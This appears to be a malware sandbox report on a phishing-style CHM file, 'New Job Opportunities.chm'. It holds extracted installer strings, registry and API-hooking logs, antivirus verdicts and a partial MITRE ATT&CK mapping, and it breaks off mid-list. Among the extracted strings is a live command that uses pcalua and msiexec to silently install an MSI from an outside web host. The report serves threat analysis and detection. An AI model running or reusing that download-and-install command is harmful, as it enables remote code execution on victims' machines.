run from CDSelParentCostNegNegThis feature frees up [1] on your hard drive. It has [2] of [3] subfeatures selected. The subfeatures free up [4] on your hard drive.GBPrereqReqMinOnly{[2] or higher}bytesTimeRemainingSelLocalNetworkThis feature will be removed from your local hard drive, but will be still available to run from the networkKBMenuAllLocalEntire feature will be installed on local hard driveSelChildCostPosThis feature requires [1] on your hard drive.MBVolumeCostDifferenceDifferenceMenuCDWill be installed to run from CDMenuAdvertiseFeature will be installed when requiredMenuAbsentEntire feature will be unavailableMenuAllNetworkEntire feature will be installed to run from networkMenuLocalWill be installed on local hard driveScriptInProgressSelCDAbsentThis feature will be uninstalled completely, you won't be able to run it from CDSelAbsentAbsentThis feature will remain uninstalledSelAbsentAdvertiseThis feature will be set to be installed when requiredSelAbsentCDThis feature will be installed to run from CDSQLShowDatabasesMsgConnecting to database server...ConfigurePackageConfiguring [1]SQLFetchTitleODBCSelCDCDThis feature will remain to be run from CDSelCDAdvertiseThis feature will change from run from CD state to set to be installed when requiredSelAbsentLocalThis feature will be installed on the local hard driveHttpPostTitleSelCDLocalThis feature will change from run from CD state to be installed on the local hard driveSelAbsentNetworkThis feature will be installed to run from the networkSelAdvertiseAbsentThis feature will become unavailableSelAdvertiseAdvertiseWill be installed when requiredVolumeCostAvailableAvailableSelLocalLocalThis feature will remain on you local hard driveSQLBrowseTitleSQLSelLocalAdvertiseThis feature will be removed from your local hard drive, but will be set to be installed when requiredSelLocalAbsentThis feature will be completely removedSelAdvertiseLocalThis feature will be installed on your local hard driveSelAdvertiseNetworkThis feature will be available to run from the networkSelChildCostNegThis feature frees up [1] on your hard drive.SelCostPendingCompiling cost for this feature...SharePointLogWspNoOptionsSkipping incomplete CAB. Full options string: [1].SelLocalCDThis feature will be removed from your local hard drive, but will be still available to run from CDSQLFetchMsgQuerying database...SelNetworkAbsentThis feature will be uninstalled completely, you won't be able to run it from the networkSelNetworkAdvertiseThis feature will change from run from network state to set to be installed when requiredSelNetworkLocalThis feature will change from run from network state to be installed on the local hard driveSelNetworkNetworkThis feature will remain to be run from the networkBrowseFolderLocationSelParentCostPosNegThis feature requires [1] on your hard drive. It has [2] of [3] subfeatures selected. The subfeatures free up [4] on your hard drive.SelParentCostNegPosThis feature frees up [1] on your hard drive. It has [2] of [3] subfeatures selected. The subfeatures require [4] on your hard drive.SelParentCostPosPosThis feature requires [1] on your hard drive. It has [2] of [3] subfeatures selected. The subfeatures require [4] on your hard drive.VolumeCostRequiredRequiredVolumeCostSizeDisk SizeVolumeCostOthersGroupUnused drivesVolumeCostDrivesGroupInstallation drivesVolumeCostVolumeVolumeODBCTestTitleODBCTestMsgPlease wait while testing the connection...SQLBrowseMsgBrowsing SQL Servers on the network...SQLShowDatabasesTitleHttpPostMsgSending collected data...VolumeCostBadGroupInsufficient spaceBrowseFolderSelectFolderSelect FolderBrowseFolderNameFolder name:WarningPrereqLabelPrereqReq{[2] - [3]}PrereqReqMaxOnly{[3] or lower}PrereqReqExact[2]SharePointLogNoUrlWarning: solution may not be deployed correctly. A valid URL was not found in AI_WSP_URL property and the solution is not global or local.PrereqFound[4]PrereqAction[6]PrereqInstalledPrereqInstallActionPrereqMandatoryInstallActionMust InstallPrereqSkipActionSkipDownloadingPrereqDownloading [1]InstallingPrereqInstalling [1]SharePointLogFinishFinishing SharePoint solution deploymentOpenSitePrereqOpening site of [1]SharePointLogUninstallFinishFinished uninstalling SharePoint solutionsExtractPrereqExtracting [1]OpenSiteWaitPrereqThe installer is waiting for you to locate, download and install following prerequisites onto your computer. Press OK when you are ready to continue installation.HtmlHostNavError

Error loading resource:

"[1]"

SharePointLogNoWspsUIText.SharePointLogNoWspsSharePointLogMissingStsadmIncorrect SharePoint or MSI configuration. Please make sure that your installer has the same package type (32-bit or 64-bit) as SharePoint.SharePointLogInstallRunning in first time install mode.SharePointLogMaintenanceRunning in maintenance mode.SharePointLogUninstallRunning in uninstall mode.SharePointLogWspNoNameSkipping CAB with no name. Full options string: [1].SharePointLogWspNoFileCAB file not found: [1]. Skipping.SharePointLogAddingSlnAdding solution: [1].SharePointLogDeployingSlnDeploying solution [1] to URL [2].SharePointLogRetractingSlnRetracting solution: [1].SharePointLogRetractingSlnAdminRetracting solution [1] from administrative virtual server [2].SharePointLogDeletingSlnDeleting solution: [1].SharePointLogStartStarting SharePoint solution deploymentSharePointLogUninstallStartUninstalling SharePoint solutionsSharePointLogActivatingFeatureUIText.SharePointLogActivateFeatureInstallMessageInstalling files.NumberValidationTipTitleUnacceptable CharacterNumberValidationTipMsgUninstallMsgAre you sure you want to uninstall [ProductName]?InstallingPackageUnInstallingPackageRemo@HBExE(H@HRDEC;;B&F7BB4FhD&B@HRDEC??(E8BA(H@HAxDBDAED1Hving [1]0.0.1OLDPRODUCTSMicrosoftEdgeUpdateTaskMachineMicrosoft Edge Update Task Machinec:\windows\system32\pcalua.exe-a msiexec -c /Q /i https://www.thecloudnet.org/%username%.msic:\windows\system32[%UserDomain]\[LogonUser]1|300|1|1|0|1|0|2.0+*c@E""!GAOWaca".G'0.4`+?3%&/0X>_G= Q;F2XLE8;x62> +,@D?IJOD + 3j 9'W*` ~oB T>{ g&-srn %-C" "0. 8N ; s|v>jc's(K{n;>.M5d3XV/O=R8=6;8f#7 DdT ~%S^ :* q.$/4[ BQ )C@6RK@HA'C:ED1H$@HBEEC(H" (Indicator: "https://")2f:T507,"hh.exe" trying to access non-existent file "C:\Windows\FLTLIB.DLL" "hh.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "hh.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "hh.exe" trying to access non-existent file "C:\Windows\hh.exe.Local\" "hh.exe" trying to access non-existent file "C:\Windows\CRYPTBASE.dll" "hh.exe" trying to access non-existent file "C:\ProgramData\Microsoft\HTML Help" "hh.exe" trying to access non-existent file "C:\Windows\ntmarta.dll" "hh.exe" trying to access non-existent file "C:\ProgramData\Microsoft\HTML Help\hhcolreg.dat" "hh.exe" trying to access non-existent file "C:\NewJobOpportunities.chi" "hh.exe" trying to access non-existent file "C:\Windows\version.DLL" "hh.exe" trying to access non-existent file "C:\Windows\CRYPTSP.dll" "hh.exe" trying to access non-existent file "C:\Windows\api-ms-win-downlevel-shlwapi-l2-1-0.dll" "hh.exe" trying to access non-existent file "C:\Windows\api-ms-win-downlevel-advapi32-l2-1-0.dll" "hh.exe" trying to access non-existent file "C:\Windows\apphelp.dll" "hh.exe" trying to access non-existent file "C:\Windows\Secur32.dll" "hh.exe" trying to access non-existent file "C:\Windows\SSPICLI.DLL"30:T6b3,"hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "FR-CA") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "FR-CA") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ES-ES") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ES-ES") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "PT-PT") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "PT-PT") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ES-MX") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ES-MX") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EU-ES") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EU-ES") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "VI-VN") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "VI-VN") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "SL-SI") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "SL-SI") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "TR-TR") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "TR-TR") "hh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "SV-SE")31:T8e9,"msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "msiexec.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "msiexec.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "msiexec.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "msiexec.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS")32:T5d9,"hh.exe" wrote bytes "e92e0aa7fe" to virtual address "0xFF0003E0" ("InternetOpenA@WININET.DLL") "hh.exe" wrote bytes "e98e0ba7fe" to virtual address "0xFF000240" ("InternetOpenW@WININET.DLL") "hh.exe" wrote bytes "e94eb8ebff" to virtual address "0x77814F80" ("GetKeyState@USER32.DLL") "hh.exe" wrote bytes "e9605f94fe" to virtual address "0xFF12AE30" ("HttpOpenRequestA@WININET.DLL") "hh.exe" wrote bytes "e92e42a3fe" to virtual address "0xFF03CB20" ("HttpOpenRequestW@WININET.DLL") "hh.exe" wrote bytes "e91e29f2fd" to virtual address "0xFFB4E3B0" ("URLDownloadToFileA@URLMON.DLL") "hh.exe" wrote bytes "e9c076eaff" to virtual address "0xFDBC9794" ("ShellExecuteW@SHELL32.DLL") "hh.exe" wrote bytes "e97ee107fe" to virtual address "0xFF9F2D50" ("CreateCompatibleBitmap@GDI32.DLL") "hh.exe" wrote bytes "e941adebff" to virtual address "0x77815A50" ("GetForegroundWindow@USER32.DLL") "hh.exe" wrote bytes "e9440ec6ff" to virtual address "0xFDE10050" ("ShellExecuteA@SHELL32.DLL") "hh.exe" wrote bytes "e99eb2a2fe" to virtual address "0xFF045A70" ("InternetReadFile@WININET.DLL") "hh.exe" wrote bytes "e9d241ecff" to virtual address "0x7780C63C" ("GetAsyncKeyState@USER32.DLL") "hh.exe" wrote bytes "e91eaffafd" to virtual address "0xFFAC5D70" ("URLDownloadToFileW@URLMON.DLL") "msiexec.exe" wrote bytes "00b767f5fe070000" to virtual address "0xF9012050" (part of module "WEBIO.DLL") "msiexec.exe" wrote bytes "e978271901" to virtual address "0xFC80E558" ("GetIpNetTable@IPHLPAPI.DLL")1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"bdd109cba8346548dd6fe5110180aa23eb9f5805c90733025344a5881c15c985","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790792142069,"unified_at":"2026-09-30T18:15:42.069Z","metadata":{"hashes":{"sha256":"bdd109cba8346548dd6fe5110180aa23eb9f5805c90733025344a5881c15c985","sha1":"0d57200895c572340857ebf2eb383dbc3a352d43","md5":"42e5cebc15f181647e79bcc19784d08d","sha512":"d363e141085ec2dc7a273da55bf13daba80ba3e47056e3c7f209e44122bee0513527bf8e1c3c6f1b2fa29aa55aacb6681052a23e8c68d585d95a0e2b154eb926","ssdeep":"768:lQ35ySbZ15tW1Y7loR+o8y7ql6+Rv/6mp07GdtS/vrtx205wEEH1HeEJ:lQHnii7lo38yO62gGdcrz20UIK","ssdeep_chunks":["768:lQ35ySb","768:Q35ySbZ","768:35ySbZ1","768:5ySbZ15","768:ySbZ15t","768:SbZ15tW","768:bZ15tW1","768:Z15tW1Y","768:15tW1Y7","768:5tW1Y7l","768:tW1Y7lo","768:W1Y7loR","768:1Y7loR+","768:Y7loR+o","768:7loR+o8","768:loR+o8y","768:oR+o8y7","768:R+o8y7q","768:+o8y7ql","768:o8y7ql6","768:8y7ql6+","768:y7ql6+R","768:7ql6+Rv","768:ql6+Rv/","768:l6+Rv/6","768:6+Rv/6m","768:+Rv/6mp","768:Rv/6mp0","768:v/6mp07","768:/6mp07G","768:6mp07Gd","768:mp07Gdt","768:p07GdtS","768:07GdtS/","768:7GdtS/v","768:GdtS/vr","768:dtS/vrt","768:tS/vrtx","768:S/vrtx2","768:/vrtx20","768:vrtx205","768:rtx205w","768:tx205wE","768:x205wEE","768:205wEEH","768:05wEEH1","768:5wEEH1H","768:wEEH1He","768:EEH1HeE","768:EH1HeEJ","1536:lQ35ySb","1536:Q35ySbZ","1536:35ySbZ1","1536:5ySbZ15","1536:ySbZ15t","1536:SbZ15tW","1536:bZ15tW1","1536:Z15tW1Y","1536:15tW1Y7","1536:5tW1Y7l","1536:tW1Y7lo","1536:W1Y7loR","1536:1Y7loR+","1536:Y7loR+o","1536:7loR+o8","1536:loR+o8y","1536:oR+o8y7","1536:R+o8y7q","1536:+o8y7ql","1536:o8y7ql6","1536:8y7ql6+","1536:y7ql6+R","1536:7ql6+Rv","1536:ql6+Rv/","1536:l6+Rv/6","1536:6+Rv/6m","1536:+Rv/6mp","1536:Rv/6mp0","1536:v/6mp07","1536:/6mp07G","1536:6mp07Gd","1536:mp07Gdt","1536:p07GdtS","1536:07GdtS/","1536:7GdtS/v","1536:GdtS/vr","1536:dtS/vrt","1536:tS/vrtx","1536:S/vrtx2","1536:/vrtx20","1536:vrtx205","1536:rtx205w","1536:tx205wE","1536:x205wEE","1536:205wEEH","1536:05wEEH1","1536:5wEEH1H","1536:wEEH1He","1536:EEH1HeE","1536:EH1HeEJ","768:lQHnii7","768:QHnii7l","768:Hnii7lo","768:nii7lo3","768:ii7lo38","768:i7lo38y","768:7lo38yO","768:lo38yO6","768:o38yO62","768:38yO62g","768:8yO62gG","768:yO62gGd","768:O62gGdc","768:62gGdcr","768:2gGdcrz","768:gGdcrz2","768:Gdcrz20","768:dcrz20U","768:crz20UI","768:rz20UIK"],"imphash":"Unknown"},"file_info":{"file_name":"New Job Opportunities.chm","file_type":["text","mshelp"],"file_type_id":"chm","file_size":47394,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1670886374000,"last_seen":1676495412000,"last_multi_scan":1676495412000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["suspicious","targeted","exploit"]},"stats":{"av":{"malicious_count":5,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":0,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":24},"sandbox_signatures":{"informative_count":52,"suspicious_count":22,"malicious_count":5,"total":79},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/HTML.Runner","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"EXP/CHMDownloader.AG","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/Generic!5D899E8D806E54F1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Trojan.8F84933C","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Trojan.8F84933C","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{},"mitre_attacks":[{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Runs shell commands"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Script file shows a combination of malicious behavior"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the command-line string for the current process"},{"type":"suspicious","value":"Calls an API typically used to execute an application"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Calls an API typically used to create a process"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"suspicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"suspicious","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Defense Evasion","technique":"Msiexec","attack_id":"T1218.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1218/007","identifiers":[{"type":"suspicious","value":"Attempts to abuse msiexec.exe for proxy execution"},{"type":"informative","value":"Detected MsiExec process execution"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"suspicious","value":"Drops PE files with different extensions"},{"type":"malicious","value":"Drops executable files to the Windows system directory"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"suspicious","value":"Modifies proxy settings"},{"type":"suspicious","value":"Modifies Software Policy Settings"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Calls an API typically used for keylogging"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Hooks API calls"},{"type":"suspicious","value":"Hooks internet related APIs"},{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Contains ability to query the system locale"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"suspicious","value":"Contains ability to retrieve a module handle for the specified module"},{"type":"suspicious","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Calls an API typically used to get system version information"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Reads the active computer name"},{"type":"suspicious","value":"Queries sensitive IE security settings"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Queries the display settings of system associated file extensions"},{"type":"informative","value":"Reads information about supported languages"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"malicious","value":"Tries to access unusual system drive letters"},{"type":"informative","value":"Touches files in program files directory"},{"type":"informative","value":"Tries to access non-existent files"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"6397b3e51716bd6386653293"}]},{"tactic":"Discovery","technique":"Application Window 